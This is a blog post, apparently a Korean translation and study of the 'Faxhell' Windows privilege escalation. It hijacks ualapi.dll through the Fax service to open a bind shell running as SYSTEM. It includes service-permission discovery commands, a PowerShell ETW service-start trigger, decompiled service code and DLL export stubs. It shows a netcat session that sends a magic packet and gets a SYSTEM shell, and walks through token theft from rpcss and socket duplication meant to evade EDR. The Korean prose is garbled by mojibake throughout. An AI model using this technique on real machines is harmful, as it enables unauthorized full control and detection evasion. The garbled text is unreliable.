0. Original Posting
ํด๋น ํฌ์คํ
์ ์๋ฌธ ํฌ์คํธ๋ฅผ ๊ณต๋ถํ๋ฉฐ ํ๊ธ๋ก ๋ฒ์ญํ์์ผ๋ฏ๋ก,
์์ด๊ฐ ๋ ํธํ์๊ฑฐ๋, ๋ ์ธ๋ถ์ ์ธ ๋ด์ฉ์ ์ํ์๋ ๋ถ์ ์๋ฌธ ํฌ์คํธ๋ฅผ ์ถ์ฒ๋๋ฆฝ๋๋ค.
This Posting was only written in Korean
if you want more detailed posting, or prefer English, plz visit original posting
1. Faxhell
DLL ํ์ด์ ํน์ ์ผ์ข
์ด๋ฉฐ, Fax Service๋ฅผ ์ด์ฉํ์ฌ ๋ก์ปฌ ๊ถํ ์์น์ ํ์๊ธฐ ๋๋ฌธ์ Fax Shell > Faxhell๋ก ์ง์นญํ๋ค.
์กฐ๊ฑด
1.
๋์ ๊ถํ์ผ๋ก ์คํ๋๋ ์๋น์ค ์ค ์ผ๋ฐ ์ ์ ์ ๊ถํ์ผ๋ก ์๋น์ค ์คํ์ด ๊ฐ๋ฅํด์ผํ๋ฉฐ
2.
๊ฒฝ๋ก์ ์กด์ฌํ์ง ์๋ dll์ ๋ก๋ํ๋ ํ๋ก์ธ์ค๋ฅผ ์ฐพ์์ผํ๋ค.
1.1 ํ๊ฒฝ ์กฐ์ฌ
์ฃผ๋ก ์ฌ์ฉ๋๋ 4๊ฐ์ง์ ๊ธฐ๋ณธ ์ ๊ณต ์๋น์ค๋ฅผ ํ์ธํด๋ณด์๋ค.
#### Wmiprvse.exe.
ํด๋น ์๋น์ค๋ C:\windows\system32\wbem\์์ ํน์ ํ์ผ๋ค์ ๋ก๋ํ๋ค. ํนํ Wbemcomn.dll ๊ฐ์ ํ์ผ
1.
์์ ์๋ WMI ์ปค๋งจ๋๋ก ์ค์ค๋ก ์์คํ
๊ถํ ๋ฐ์์ ์์๋๋ฐ, ์ง๊ธ์ ์ง์ WMI ์ ๊ณต์ ํตํด์ ๊ถํ ๋ฐ์์ผ ํ๋ค.
2.
์์ ํ ํ์ผ์ ์จ๋ผ์ธ์์์ ์ด์ ๊ตฌํ ์ ์๋ค.
3.
๋๋ฌด๋ ์ ์๋ ค์ง ์๋น์ค๋ DLL์ด๊ธฐ ๋๋ฌธ์ ๋ง์ ๋ฉ์จ์ด์ ๋ง์ ์ฌ๋๋ค์ด ํด๋น ์๋น์ค๋ฅผ ํ ๋๋ก POC๋ฅผ ๊ตฌํํ๋ค.
#### Ikeext.dll
svchost.exe์์์ ์คํ๋๋ฉฐ, c:\windows\system32\ ๊ฒฝ๋ก์ ์กด์ฌํ๋ Wlcsctrl.dll ์ ๋ก๋ํ๋ค.
1.
ํด๋น dll์ VPN์ด ๊ตฌ์ถ๋ ํ์ฌ ๋ด๋ถ๋ง์์ ์ด๋ฏธ ์คํ๋๊ณ ์์ผ๋ ํด๋น ์๋น์ค๋ฅผ ์ข
๋ฃํ ๋๋ Admin ๊ถํ์ด ํ์ํ๋ค.
2.
ํด๋น ์๋น์ค๊ฐ ์คํ์ด ์๋์ด ์๋๋ผ๋, sc start๋ก ์คํํ์ง ๋ชปํ๋ฉฐ, Rasdial.exe๋ฅผ ํตํ์ฌ ์์ํด์ผ ํ๋ค.
#### Sessenv.dll
svchost.exe ์์์ ์คํ๋๋ฉฐ, C:\windows\system32\ ๊ฒฝ๋ก์ ์กด์ฌํ๋ Tsmsisrv.dll์ ๋ก๋ํ๋ค.
1.
RDP ์์คํ
์ ๊ฑด๋๋ฆฌ์ง ์์ผ๋ฉด ์คํ๋์ง ์๋ ์ฅ์ ์ด ์๋ค.
2.
๊ทธ๋ฌ๋ Start/Stop ์ ๊ถํ์ ๋ถ์ฌํ์ง ์์ผ๋ฉฐ, ์คํํ ๋งํ ๋ง๋
ํ ํธ๋ฆฌ๊ฑฐ๊ฐ ์๋ค.
#### Searchprotocolhost.exe ๋ฐ Searchindexer.exe
C:\windows\system32\ ๊ฒฝ๋ก์ ์กด์ฌํ๋ msfte.dll์ ๋ก๋ํ๋ค.
1.
๊ถํ์ด ์๋ ์ ์ ๋ ์ง์ ์ ์ผ๋ก ์์ํ์ง ๋ชปํ๋ noisy file-system activity๋ฅผ ํธ๋ฆฌ๊ฑฐ๋ก ์ฌ์ฉํ์ฌ ์๋น์ค๋ฅผ ์คํ ํ ์ ์๋ค.
1.2 ์๋น์ค ์ฐพ๊ธฐ
๊ฐ์์์๋ ์ค๋ช
ํ์ง๋ง ์๋์ ์กฐ๊ฑด์ ๋ถํฉํ๋ ์๋น์ค๋ฅผ ์ฐพ์์ผ ํ๋ค.
1.
์ฌ๋ถํ
ํ์ง ์๊ณ ๊ถํ ์์น์ด ๊ฐ๋ฅํด์ผ ํ๋ฉฐ
2.
๊ธฐ๋ณธ ๊ถํ(User) ๋ก ์์ ํ๊ฑฐ๋, ์ค์งํ ์ ์์ด์ผ ํ๋ค.
3.
์์คํ
๊ถํ์ผ๋ก ์คํ ๋๋ ์๋น์ค์ด์ผ ํ๋ค. (Local Service, Networ Service ์ ์ธ)
ํด๋น ์๋น์ค๋ Administrator ๊ทธ๋ฃน์ ์ํด ์๊ธฐ ๋๋ฌธ์ด๋ค.
#### Process Hacker๋ฅผ ์ด์ฉํ ๊ถํ ํ์ธ
Process Hacker ์๋น์ค๋ฅผ ์ด์ฉํด์ ์ฐพ์ ๋ณผ ์ ์๋ค.
ProcessHacker โ Service Tab โ Service Double Click(SessionEnv) โ Permission โ advanced โ Double Click(Access Control Entries)
#### accesschk๋ฅผ ์ด์ฉํ ๊ถํ ํ์ธ
Accesschk๋ฅผ ์ด์ฉํ์ฌ ๋ชจ๋ ์๋น์ค์ ๋ํ ๋ชจ๋ ์ฌ์ฉ์ ๊ถํ์ SDDL(Security Descriptor Definition Language)๋ก ํ์ธ ๊ฐ๋ฅํ๋ค.
accesschk.exe -c * -L > servsddl.txt
SessionEnv์ SDDL์ ์๋์ ๊ฐ๋ค.
SessionEnv
O:SYD:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;RPWP;;;S-1-5-80-446051430-1559341753-4161941529-1950928533-810483104)(A;;RPWP;;;S-1-5-80-4130899010-3337817248-2959896732-3640118089-1866760602)
C++
๋ณต์ฌ
accesschk.exe์์ l ์ต์
์ ์ด์ฉํ๋ฉด ์๋์ ๊ฐ์ด ์ถ๋ ฅ๋๋ค.
DsSvc์ ๊ฒฝ์ฐ ๋ชจ๋ ์ ์ ๊ฐ ์๋น์ค ์คํ ๊ถํ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ
์ด๋ฌํ ์๋น์ค๊ฐ 2๋ฒ ๋ฐ 3๋ฒ ์กฐ๊ฑด์ ๋ถํฉ๋๋ ์๋น์ค์ด๋ค.
accesschk.exe -c dssvc -l
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
dssvc
DESCRIPTOR FLAGS:
[SE_DACL_PRESENT]
OWNER: NT AUTHORITY\SYSTEM // 3๋ฒ ์กฐ๊ฑด ๋ถํฉ
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\INTERACTIVE
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[1] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SERVICE
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[2] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
[3] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Administrators
SERVICE_ALL_ACCESS
[4] ACCESS_ALLOWED_ACE_TYPE: Everyone // ์๋น์ค ์คํ ๊ถํ ์กด์ฌ
SERVICE_QUERY_STATUS
SERVICE_START
[5] ACCESS_ALLOWED_ACE_TYPE: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES
SERVICE_QUERY_STATUS
SERVICE_START
C++
๋ณต์ฌ
Fax ์๋น์ค ๋ํ ์ด๋ฌํ ์กฐ๊ฑด์ ๋ถํฉํ๋ ์๋น์ค์ค ํ๋์ด๋ค.
accesschk.exe -c FAX -l
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
FAX
DESCRIPTOR FLAGS:
[SE_DACL_PRESENT]
OWNER: NT AUTHORITY\SYSTEM
[0] ACCESS_ALLOWED_ACE_TYPE: Everyone
SERVICE_QUERY_STATUS
SERVICE_START
[1] ACCESS_ALLOWED_ACE_TYPE: NT SERVICE\Fax
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[2] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Administrators
SERVICE_ALL_ACCESS
[3] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\Authenticated Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
C++
๋ณต์ฌ
1.3 ์๋น์ค ์์ํ๊ธฐ
์๋์ฐ Vista ์ดํ๋ก, ๋ง์ดํฌ๋ก์ํํธ๋ UBPM์ ๋์
ํ๋๋ฐ, ํด๋น ๊ธฐ๋ฅ์ ๋ฆฌ๋
์ค, ๋งฅ๊ณผ ๋น์ทํ ๊ฒฝํญ์ ๊ฐ์ง๊ณ ์๋ค.
ํธ๋ฆฌ๊ฑฐ๋ฅผ ์ด์ฉํ์ฌ ์์คํ
์๋น์ค ์์์ด ๊ฐ๋ฅํ๋ฉฐ, PnpDevice ๋ฑ๋ฑ // ์ ๋ฆฌ
Service Control Manager(SCM)์ ์๋น์ค์ ํธ๋ฆฌ๊ฑฐ๊ฐ ์๋ํ์๋ ์๋น์ค ์ํ๋ฅผ ์
๋ฐ์ดํธ(์์) ํด์ฃผ๋ฉฐ ํธ๋ฆฌ๊ฑฐ์ ๊ฒฝ์ฐ GUI๋ก ํ๋ก์ธ์ค ํด์ปค์์ ๊ฐ๋จํ๊ฒ ํ์ธ์ด ๊ฐ๋ฅํ๋ค.
ProcessHacker Service Tab โ Some Service Double Click โ Triggers Tab โ Trigger Double Click
์๋๋ TabletInputService์ ํธ๋ฆฌ๊ฑฐ์ด๋ค
SC ๋ช
๋ น์ด๋ฅผ ์ด์ฉํด์๋ ํ์ธ์ด ๊ฐ๋ฅํ๋ค.
sc qtriggerinfo DsSvc // Check a Triggers
[SC] QueryServiceConfig2 SUCCESS
SERVICE_NAME: DsSvc
START SERVICE
NETWORK EVENT : bc90d167-9470-4139-a9ba-be0bbbf5b74d [RPC INTERFACE EVENT]
DATA : BF4DC912-E52F-4904-8EBE-9317C1BDD497
sc query DsSvc // Check a Service's Status
SERVICE_NAME: DsSvc
TYPE : 30 WIN32
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
C++
๋ณต์ฌ
โThe event is triggered when an endpoint resolution request arrives for the RPC interface GUID specified by pDataItems.โ
Endpoint Resolution ์์ฒญ์ด pDataItems์ ํน์ ๋ RPC๋ก ๋์ฐฉํ ๋ ์ด๋ฒคํธ๊ฐ ํธ๋ฆฌ๊ฑฐ ๋๋ค๊ณ ์ค๋ช
๋์ด ์๋ค.
rpcping์ ์ด์ฉํ์ฌ ์๋น์ค ํ์ฑํ๋ฅผ ํ์ธํด๋ณธ๋ค.
rpcping -t ncalrpc -f BF4DC912-E52F-4904-8EBE-9317C1BDD497 -v 2
RPCPing v6.0. Copyright (C) Microsoft Corporation, 2002-2006
Trying to resolve interface BF4DC912-E52F-4904-8EBE9317C1BDD497, Version: 1.0
Completed 1 calls in 1 ms
1000 T/S or 1.000 ms/T
sc query dssvc
SERVICE_NAME: dssvc
TYPE : 30 WIN32
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_PRESHUTDOWN)
C++
๋ณต์ฌ
rpcping์ ์๋ต์ ํ์ธํ๊ณ , ํด๋น ์๋น์ค๊ฐ running์ค์ธ๊ฑธ ํ์ธํ์๋ค.
๋ ๋ค๋ฅธ ํธ๋ฆฌ๊ฑฐ๋ก๋ ETW(Event Tracing for Windows) ํธ๋ฆฌ๊ฑฐ๊ฐ ์๋ค.
sc qtriggerinfo wersvc
[SC] QueryServiceConfig2 SUCCESS
SERVICE_NAME: wersvc
START SERVICE
CUSTOM : e46eead8-0c54-4489-9898-8fa79d059e0e [ETW PROVIDER UUID]
C++
๋ณต์ฌ
$Source = @"
using System;
using System.Text;
using System.Security;
using System.Collections.Generic;
using System.Runtime.Versioning;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
using System.Diagnostics.CodeAnalysis;
namespace JosL.WebClient{
public static class Starter{
[StructLayout(LayoutKind.Explicit, Size=16)]
public class EVENT_DESCRIPTOR{
[FieldOffset(0)]ushort Id = 1;
[FieldOffset(2)]byte Version = 0;
[FieldOffset(3)]byte Channel = 0;
[FieldOffset(4)]byte Level = 4;
[FieldOffset(5)]byte Opcode = 0;
[FieldOffset(6)]ushort Task = 0;
[FieldOffset(8)]long Keyword = 0;
}
[StructLayout(LayoutKind.Explicit, Size = 16)]
public struct EventData{
[FieldOffset(0)]
internal UInt64 DataPointer;
[FieldOffset(8)]
internal uint Size;
[FieldOffset(12)]
internal int Reserved;
}
public static void startService(){
Guid webClientTrigger = new Guid(0xe46eead8, 0x0c54, 0x4489, 0x98, 0x98, 0x8f, 0xa7, 0x9d, 0x05, 0x9e, 0x0e);
long handle = 0;
uint output = EventRegister(ref webClientTrigger, IntPtr.Zero, IntPtr.Zero, ref handle);
bool success = false;
if (output == 0){
EVENT_DESCRIPTOR desc = new EVENT_DESCRIPTOR();
unsafe
{
uint writeOutput = EventWrite(handle, ref desc, 0, null);
success = writeOutput == 0;
EventUnregister(handle);
}
}
}
[DllImport("Advapi32.dll", SetLastError = true)]
public static extern uint EventRegister(ref Guid guid, [Optional] IntPtr EnableCallback, [Optional] IntPtr CallbackContext, [In][Out] ref long RegHandle);
[DllImport("Advapi32.dll", SetLastError = true)]
public static extern unsafe uint EventWrite(long RegHandle, ref EVENT_DESCRIPTOR EventDescriptor, uint UserDataCount, EventData* UserData);
[DllImport("Advapi32.dll", SetLastError = true)]
public static extern uint EventUnregister(long RegHandle);
}
}
"@
$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
$compilerParameters.CompilerOptions="/unsafe"
Add-Type -TypeDefinition $Source -Language CSharp -CompilerParameters $compilerParameters
[JosL.WebClient.Starter]::startService()
C++
๋ณต์ฌ
ํด๋น ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ฉด ์๋น์ค๊ฐ ์คํ๋๋ค.
sc query wersvc
SERVICE_NAME: wersvc
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
C++
๋ณต์ฌ
1.3 DLL Hijacking
๋ค์ Fax ์๋น์ค๋ก ๋์์์ fax ์๋น์ค๊ฐ ์คํ๋๋ฉด, fxssvc.exe ํ์ผ์ด C:\windows\system32\uaiapi.dllํ์ผ ๋ก๋ํ๋๊ฒ์ ํ์ธ ํ ์ ์๋ค.
ํ์ง๋ง ์ธ๊ฐ์ง ๋ฌธ์ ์ ์ด ์กด์ฌํ๋๋ฐ
1.
ํด๋น ์๋น์ค๊ฐ SYSTEM ๊ถํ์ด ์๋ NETWORK SERVICE ๊ถํ์ผ๋ก ์คํ๋๋ค.
2.
ํด๋น ์๋น์ค๊ฐ GetProcAddress API๋ฅผ ์ด์ฉํ์ฌ ualapi.dll ์์ dllexport ํจ์๋ฅผ ์ฐพ๋๋ค.
3.
ํด๋น ์๋น์ค๋ ์ค์ ํฉ์ค๊ฐ ์์ง ์์ผ๋ฉด ์์๊ณผ ๊ฑฐ์ ๋์์ ์ข
๋ฃ๋๋ค. ๊ทธ๋์ ํด๋น ์๋น์ค๋ฅผ ์ ์งํ๋ ค๋ฉด ์ค์ ํฉ์ค๋ฅผ ๋๊ธฐ์ํค๊ฑฐ๋, ์ข
๋ฃ๋์ง ์๋๋ก ์ค๋ ๋๋ฅผ ์คํ์์ผ๋์ผ ํ๋ค.
2๋ฒ๊ณผ 3๋ฒ์ ๊ฐ์ด ํด๊ฒฐํ๋ ค๊ณ ํ์ผ๋ฉฐ,
์ผ๋ฐ์ ์ผ๋ก ์
์์ ์ธ ๊ถํ ์์น ๊ณต๊ฒฉ์ ๊ฒฝ์ฐ Dllmain์ ์ด์ฉํ์ง๋ง,
ํด๋น ์ทจ์ฝ์ ์ System๊ถํ ํ๋์ด ๋ชฉ์ ์ด๊ธฐ ๋๋ฌธ์ ๋ ์ด๋ ค์ฐ๋ฉฐ, ์๋ฒ ๋๋ ๋ฐ์ธ๋ ์์ ๊ฐ๋ฐํ๋๊ฒ ๋ ํ๋ช
ํ ๋ฐฉ๋ฒ์ด๋ค.
๋๋ฒ์งธ๋ก๋ Dllmain ์์ ๋ชจ๋ ์์
์ ์ํํ๋๊ฒ์ ์๋นํ ์์ฌ์ค๋ฌ์ด ํ์ผ๋ก ์ทจ๊ธ๋๋ค.
๋ง์ง๋ง์ผ๋ก Dllmain์ Dll์ด ๋ก๋๋ ๋ ํธ์ถ๋๋ฉฐ, ๋ก๋ ์ ๊ธ์ด ํ๋๋๋ฉฐ, ์๋นํ ์ด๋ ค์์ง๋ค.
โข
๋ก๋ ์ ๊ธ์ ๊ฒฝ์ฐ dllmain ํธ์ถ ์ ๊ถํ์ ๊ด๋ จ๋ MS ๊ฒ์ฆ ๋ก์ง์ธ๊ฒ์ผ๋ก ์์๋จ. ํฅํ ์ ๋ฆฌ ํ์
๊ทธ๋์ Dllmain์์ ๋ชจ๋ ์์
์ ํ์ง ์๊ณ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ์ฐพ์๋ดค์ผ๋ฉฐ, Fax์๋น์ค์์ Ualapi.dll์ ํธ์ถํ ๋ ๋ค๋ฅธ ์ธ๊ฐ์ง์ ํจ์๋ฅผ ํธ์ถํ๋ ๊ฒ์ ํ์ธํ์๋ค.
__int64 UalOpenSession()
{
HMODULE v0; // rax
DWORD v1; // ecx
__int64 result; // rax
DWORD v3; // ebx
int (__stdcall *v4)(struct tagUAL_DATA_BLOB *); // rax
int v5; // [rsp+20h] [rbp-2C8h]
__int128 v6; // [rsp+24h] [rbp-2C4h]
char Dst; // [rsp+34h] [rbp-2B4h]
if ( ualapiModule )
goto LABEL_15;
v0 = LoadLibraryExW(L"ualapi.dll", 0i64, 0x800u);
ualapiModule = v0;
if ( !v0 )
{
v1 = GetLastError();
result = (unsigned __int16)v1 | 0x80070000;
if ( (signed int)v1 <= 0 )
result = v1;
return result;
}
fnUalInstrument = (int (__stdcall *)(struct tagUAL_DATA_BLOB *))GetProcAddress(v0, "UalInstrument");
if ( fnUalInstrument )
{
fnUalStart = (int (__stdcall *)(struct tagUAL_DATA_BLOB *))GetProcAddress(ualapiModule, "UalStart");
if ( fnUalStart )
{
fnUalStop = (int (__stdcall *)(struct tagUAL_DATA_BLOB *))GetProcAddress(ualapiModule, "UalStop");
if ( fnUalStop )
{
LABEL_15:
memset_0(&Dst, 0, 0x29Cui64);
v4 = fnUalStart;
v5 = 688;
_mm_storeu_si128((__m128i *)&v6, (__m128i)SumGuid_FAX);
return ((__int64 (__fastcall *)(int *))v4)(&v5);
}
}
}
v3 = GetLastError();
FreeLibrary(ualapiModule);
ualapiModule = 0i64;
fnUalInstrument = 0i64;
fnUalStart = 0i64;
fnUalStop = 0i64;
result = (unsigned __int16)v3 | 0x80070000;
if ( (signed int)v3 <= 0 )
result = v3;
return result;
}
C++
๋ณต์ฌ
ํด๋น ์์ค๋ฅผ ํ์ธํด๋ณด๋ฉด, ualapi.dll์ ๋ก๋ํ๊ณ ์ธ ํจ์(UalInstrument, UalStart, UalStart)๋ฅผ ์์๋๋ก ํธ์ถํ๋ค.
Faxhell ์ฝ๋์ ๊ฒฝ์ฐ UalStart์์ ๊ถํ ์์น ์ฝ๋๋ฅผ ์คํํ๋ฉฐ, UalStop, UalInstrument์ ๊ฒฝ์ฐ 0์ ๋ฆฌํดํ๋๋ก ํ์๋ค.
__declspec(dllexport)
HRESULT
UalStop(PVOID Blob)
{
UNREFERENCED_PARAMETER(Blob);
return ERROR_SUCCESS;
}
__declspec(dllexport)
HRESULT
UalInstrument(PVOID Blob)
{
UNREFERENCED_PARAMETER(Blob);
return ERROR_SUCCESS;
}
C++
๋ณต์ฌ
2. PoC ์คํ
โข
ํ
์คํธ ํ๊ฒฝ
Windows 10 1709 (16299.15)
1.
faxhell ์ฝ๋๋ฅผ ๋น๋ ํ ํ ํ
์คํธ ํ๊ฒฝ์ "C:\windows\system32" ๊ฒฝ๋ก๋ก ์ฎ๊ธด๋ค.
2.
fax ์๋น์ค๋ฅผ ์คํํ๋ค. (User ๊ถํ)
3.
์คํํ๋ฉด Fax ์๋น์ค๋ Start pending ์ํ๋ก ์ ์ง๋๋ฉฐ NETWORK SERVICE ๊ถํ์ผ๋ก ์คํ ๋ fxssvc๊ฐ 9299 ํฌํธ๋ฅผ ์คํํ๊ณ Listen ์ํ๋ก ๋๊ธฐ์ค์ด๋ค.
4.
ํด๋น ํฌํธ์ ์ ์ํ์ฌ ๋งค์ง ํจํท์ ์
๋ ฅํ๋ฉด SYSTEM๊ถํ์ ๊ฐ์ง CMD๋ฅผ ํ๋ํ ์ ์๋ค
C:\Users\User>C:\Users\User\Desktop\nc64.exe 192.168.145.137 9299
let me in //๋งค์ง ํจํท
READY
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C++
๋ณต์ฌ
2.1 PoC ์์ค ๋ถ์
์์์ UalInstrument, UalStop ํจ์๋ฅผ ํ์ธํ์ผ๋ฏ๋ก UalStart ๋ง ํ์ธํด๋ณด์.
...
while (1)
{
//
// Execute the work callback that will take care of
//
work = CreateThreadpoolWork(WorkCallback, &hResult, &CallBackEnviron); //Thread Pool ์์ฑ ํ WorkCallback ํจ์ ํ ๋น
if (work == NULL)
{
goto Failure;
}
//
// Send the work and wait for it to complete
//
SubmitThreadpoolWork(work);
WaitForThreadpoolWorkCallbacks(work, FALSE);
if (FAILED(hResult))
{
break;
}
//
// We're done with this work
//
CloseThreadpoolWork(work);
}
...
C++
๋ณต์ฌ
Thread Pool์ ์์ฑํ์ฌ WorkCallBack ํจ์๋ฅผ ์ค๋ ๋์ ํ ๋นํ๋ค.
์๋์ WorkCallBack ํจ์์ AcceptCallBack ํจ์์ ํธ์ถ ์์๋ฅผ ์ ๋ฆฌํด๋์๋ค.
์์ค์ ํจ๊ป ๋ณด๋๊ฒ์ ์ถ์ฒํ๋ฉฐ, ํด๋น ํจ์์ ๊ฒฝ์ฐ ์์ค๊ฐ ์๋นํ ๊ธธ์ด ํฌ์คํ
์ ๋ฃ์ง ๋ชปํ๋ค.
#### 2.2.1 WorkCallback ํจ์ ์์
1.
GetRpcssToken ํจ์๋ก NamePipe ์์ฑ ๋ฐ ํ์ดํ impersonate
2.
GetServiceHandle ๋ก์ปฌ ํจ์๋ก "rpcss" ์ด๋ฆ์ ์๋น์ค ์์ฑ ๋ฐ QueryServiceStatusExํจ์๋ฅผ ์ด์ฉํ์ฌ SERVICE_STATUS_PROCESS ๊ตฌ์กฐ์ฒด ํ๋ํ์ฌ ์๋น์ค ํ๋ก์ธ์ค ํธ๋ค(OpenProcess API) OUT ํ๋ผ๋ฏธํฐ๋ก ์ ๋ฌ
3.
GetSystemTokenFromProcess ํจ์ ํธ์ถ
a.
GetTokenObjectIndex ํจ์ ํธ์ถํ์ฌ OpenProcessToken์ผ๋ก ํ์ฌ ํ๋ก์ธ์ค ํ ํฐ ํ๋ NtQueryInformation์ ์ด์ฉํ์ฌ ํ ๊ทผ์ ๋ํ OBJECT_TYPE_INFORMATION ๊ตฌ์กฐ์ฒด๋ฅผ ๋ฐ์์์ ํด๋น ๊ตฌ์กฐ์ฒด์ TypeIndex๋ฅผ OUT ํ๋ผ๋ฏธํฐ๋ก ์ ๋ฌ.
- TypeIndex์ ๋ํ ํฌ์คํ
b.
GetSystemTokenFromProcess ํจ์ ํธ์ถ
i.
rpcss ์๋น์ค ํ๋ก์ธ์ค ํธ๋ค ๊ฐ์ผ๋ก NtQueryInformationProcess์ผ๋ก ํธ๋ค ๊ฐฏ์ ํ์ธ ๋ฐ ํ ํ ๋น ํ ์ฌํธ์ถํ์ฌ ํธ๋ค ์ ๋ณด ํ๋
ii.
ํด๋น ํธ๋ค ๊ฐ ์ค TokenTypeIndex๊ฐ ๋์ผํ๊ณ GrantedAccess ๊ถํ์ด TOKEN_ALL_ACCESS์ธ ํธ๋ค ํ์ธํ์ฌ DuplicateHandle ๋ก ํธ๋ค ๋ณต์ ํ์ฌ ํ์ฌ ํ๋ก์ธ์ค์ dupHandle ๋ณ์์ ์ ์ฅ. ํด๋น DuplicateHandle ์ํ์ผ๋ก ์ธํด ํ์ฌ ํ๋ก์ธ์ค๊ฐ ํด๋น ๊ถํ์ ๊ฐ์ง ํธ๋ค์ ์์ ํ๊ฒ ๋จ.
iii.
dupHandle ๋ณ์ ์ด์ฉํ์ฌ GetTokenInformation์ผ๋ก ํด๋น ํ ํฐ์ TOKEN_STATISTIC ์ ๋ณด ํ๋
iv.
ํด๋น ํ ํฐ์ด ๋ํ๋ด๋ ์ธ์
์ด ๋ค๊ณ ์๋ LUID์ด SYSTEM_LUID(0x3e7) ์ด๋ฉฐ ๊ฐ์ง๊ณ ์๋ ํน๊ถ์ด 22๊ฐ ์ด์์ธ ๊ฒฝ์ฐ ํ์ฌ ์ค๋ ๋์ dupHandle ํ ํฐ ์ค์
4.
WSAStartup ํจ์ ์ด์ฉํ์ฌ Winsock ์ด๊ธฐํ
5.
WSASocket ํจ์ ์ด์ฉํ์ฌ ListenSocket, LocalSocket ์์ฑ
6.
WSAIoCTL ํจ์๋ก WSAAcceptEx์ TransmitPackets ํฌ์ธํฐ ํ๋
7.
GetServiceHandle ํจ์ ์ด์ฉํ์ฌ "DcomLaunch" ์๋น์ค์ ํธ๋ค์ parentHandle๋ก ๋ฐ์
8.
DuplicateHandle ํจ์ ์ด์ฉํ์ฌ LocalSocket ์ ํธ๋ค์ DcomLaunch ์๋น์ค ํ๋ก์ธ์ค์ newSocket ํธ๋ค๊ฐ์ผ๋ก ๋ณต์
// ๋ณธ๋ฌธ์์๋ ํด๋น ์์
์ ๋ํ ์ด์ ๋ฅผ EDR๊ณผ ๊ฐ์ ์๋ฃจ์
ํ์ง๋ฅผ ์ฐํํ๊ธฐ ์ํจ์ด๋ผ๊ณ ์ค๋ช
ํจ.
9.
RevertToSelf ํจ์ ํธ์ถํ์ฌ impersonation ์ข
๋ฃ
10.
ACCEPT_CONTEXT ๊ตฌ์กฐ์ฒด ๋ฉ๋ชจ๋ฆฌ ํ ๋น // ์ถ๊ฐ์ค๋ช
ํ์
11.
ACPPET_CONTEXT ๊ตฌ์กฐ์ฒด ๊ฐ ํ ๋น ๋ฐ ThreadPool์ AcceptCallBack ํจ์ Input
12.
๋ก์ปฌ ์ฐ๊ฒฐ์ฉ AddrInfo ๊ตฌ์กฐ์ฒด ๋ฉ๋ชจ๋ฆฌ ํ ๋น ๋ฐ ๊ฐ ํ ๋น ํ GetAddrInfo ํจ์๋ก pResult ๋ณ์๋ก ์ฌํ ๋น
13.
bind ํจ์๋ก listenSocket ๋ฐ์ธ๋ฉ
14.
listen ํจ์๋ก listenSocket listening ์ํ๋ก ๋ณ๊ฒฝ
15.
StartThreadPoolIo ํธ์ถ ๋ฐ ์์ผ AcceptEx ํจ์ ํธ์ถ
16.
AcceptEx ํจ์๊ฐ False๊ฐ ์๋๊ณ ์
๋ ฅ๋ฐ์ ํจํท์ด 0์ด ์๋๊ฒฝ์ฐ AcceptCallback ํจ์ ํธ์ถ
#### 2.2.2 AcceptCallBack ํจ์ ์์
1.
์
๋ ฅ๋ฐ์ Context ๊ตฌ์กฐ์ฒด์์ ์ฒ์ ํจํท ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ ValidateMagicPacket ํจ์ ํธ์ถ
a.
MagicPacket์ด ์ ์๋์ด ์์ผ๋ฉฐ( "let me in" ) ํด๋น ๊ฐ๊ณผ ์ฌ์ด์ฆ, ํจํท์ด ๊ฐ์ ๊ฒฝ์ฐ์๋ง ERROR_SUCCESS ๋ฆฌํด
2.
InitializeProcTHreadAttributeList ํจ์๋ก Attribute ListSize ํ๋
3.
Attribute ListSize ๋งํผ ํ ๋ฉ๋ชจ๋ฆฌ ํ ๋น
4.
InitializeProcTHreadAttributeList ํจ์๋ก ํ๋ก์ธ์ค Attribute ํ๋
5.
